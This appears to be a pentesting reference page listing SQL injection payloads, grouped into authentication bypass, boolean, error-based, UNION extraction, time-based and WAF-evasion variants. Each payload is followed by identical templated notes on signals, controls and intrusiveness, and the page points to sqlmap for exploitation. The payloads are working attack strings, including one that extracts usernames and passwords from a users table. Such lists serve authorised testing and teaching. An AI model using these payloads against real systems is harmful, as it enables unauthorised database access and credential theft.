SQL Injection
Detection first (error/boolean/time), then extraction (union). Confirm and exploit with sqlmap once a candidate responds. Grouped: auth bypass, boolean, error, UNION, time-based, and a stacked/WAF variant.
Use as a detection primitive
Detection first (error/boolean/time), then extraction (union). Confirm and exploit with sqlmap once a candidate responds. Grouped: auth bypass, boolean, error, UNION, time-based, and a stacked/WAF variant.
Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.
Recorded payloads
Confirm the sink and encoding context before use.
' OR '1'='1'-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
admin'-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
" OR ""="- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
' OR 1=1 LIMIT 1-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
1' AND '1'='2- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
' ORDER BY 10-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
' UNION SELECT NULL,NULL,NULL-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
' UNION SELECT username,password,NULL FROM users-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
1' AND SLEEP(5)-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
1;WAITFOR DELAY '0:0:5'-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
1' AND 1=1 UNION/**/SELECT/**/1,2,3-- -- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Attribution
Version history: normalized permanent page created 2026-08-20.